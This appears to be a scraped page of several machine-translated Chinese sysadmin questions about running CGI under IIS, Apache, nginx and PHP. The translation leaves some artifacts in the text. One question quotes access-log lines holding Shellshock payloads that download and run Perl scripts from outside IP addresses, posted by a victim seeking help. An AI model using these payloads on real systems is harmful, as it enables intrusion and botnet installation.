我正在试图让Python与IIS 7.5工作。 我已经添加了Python的脚本处理程序: Python本身似乎不是问题。 我已经在命令行运行脚本没有问题。 我用来testingPythonfunction的脚本如下: print print 'HTTP/1.0 Status: 200 OK' print 'Content-type: text/html' print print '<HTML><HEAD><TITLE>Python Sample CGI</TITLE></HEAD>' print '<BODY>' print '<H1>This is a header</H1>' print '<p>' #this is a comment print 'See this is just like most other HTML' print '<br>' print '</BODY>' 问题是IIS似乎在执行python脚本之前将HTTP内容types标头设置为text/plain ,因为当我浏览到浏览器中的python脚本时,我得到以下输出: 我做错了什么,我该如何解决这个问题?
我正在给网页添加一个反馈表单,想知道通过“mail”命令简单地过滤TEXTAREA元素的内容(解码后)是否安全,以便向页面的维护者发送电子邮件。 我已经看了手册页,不能看到一种方式来滥用这个,特别是只要“邮件”不以交互模式运行,波浪转义被禁用,“。 一条线本身不会终止消息体。 但是我还有其他的危险吗? 该命令如下所示: echo "$MESSAGE_BODY" | mail [email protected] -s 'Website feedback'
我注意到网页在运行Apache 2.2的服务器上pipe理的基于Perl / CGI的专有应用程序“切断”的问题。 这导致我通过自己编写一个Perl脚本进一步调查问题,我能够重新创build相同的问题。 没有特别的地方输出被切断。 我已经考虑了超时的可能性,但是我找不到在web服务器日志中出现任何相关的错误。 为CGI设置的限制似乎也很好。 我可以采取哪些措施来确定原因(并解决)这个问题?
第一个免责声明:这是我第一次与.htaccess “会面”,我不是一个系统pipe理员,从来不是,而是附近的人,谁曾经设置机器。 所以现在我必须build立一个朋友cgi( pyblosxom )的网站( freehostia )。 我有一个像这样的目录树: mysite (path on freehostia is: /home/www/sitename) |-cgi-bin ||-cgiscript.cgi |-pybloxsom-installation |-data 我的问题:我想redirect所有传入的请求到http://mysubdomain.freehostia.com/ (根,如果可能的话http://mysubdomain.freehostia.com/data/和http://mysubdomain.freehostia.com / pybloxsom-installation / )到http://mysubdomain.freehostia.com/cgi-bin/cgiscript.cgi 。 有人可以解释如何做到这一点? 我所有的尝试都会导致无限的redirect。
如何确定我们的PHP文件如何在简单的LAMPconfiguration中呈现? phpinfo显示: — Configure Command — –enable-force-cgi-redirect –enable-fastcgi — Server API — CGI/FastCGI — cgi-fcgi — Directive Local Value Master Value cgi.check_shebang_line 1 1 cgi.fix_pathinfo 1 1 cgi.force_redirect 1 1 cgi.nph 0 0 cgi.redirect_status_env no value no value cgi.rfc2616_headers 0 0 fastcgi.logging 1 1
用apache,我只是把我的二进制文件放在cgi-bin ,那么nginx怎么样? 它是否支持cgi ?
我需要从Nagios获得完整的主机和服务列表,以制定决策表。 我认为有两种方法,查询Nagios CGI和parsingNagios cfg文件。 但是… Nagios的cfg文件可能不是标准的,这可能是一个问题。 任何人都知道怎么做? 提前致谢
我新手到networking编程,所以我设置了一个Apache2服务器为我的做法。 似乎有人成功地破解我的Apache服务器。 我有我的access.log中注意到以下行: 81.169.174.52 – – [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/ bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'" 也是这一个: 80.92.84.168 – – [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm – […]
我期待运行一个cron作业的PHP脚本,但似乎我没有一个PHP二进制文件。 看起来我没有将PHP安装为CGI,所以如果不重新安装/configuration我的PHP,运行php文件的最佳方式是什么? 我宁愿没有公开的文件,所以像wget一些解决scheme似乎有点黑客。 谢谢!
我工作的公司有一个桌面应用程序,可以将file upload到网站,而不需要任何上述协议。 他们在后端使用CGI,所以有可能通过C ++的cgi脚本上传文件? 有没有一个调用CGI程序的Apache模块? (必须有……这是什么?)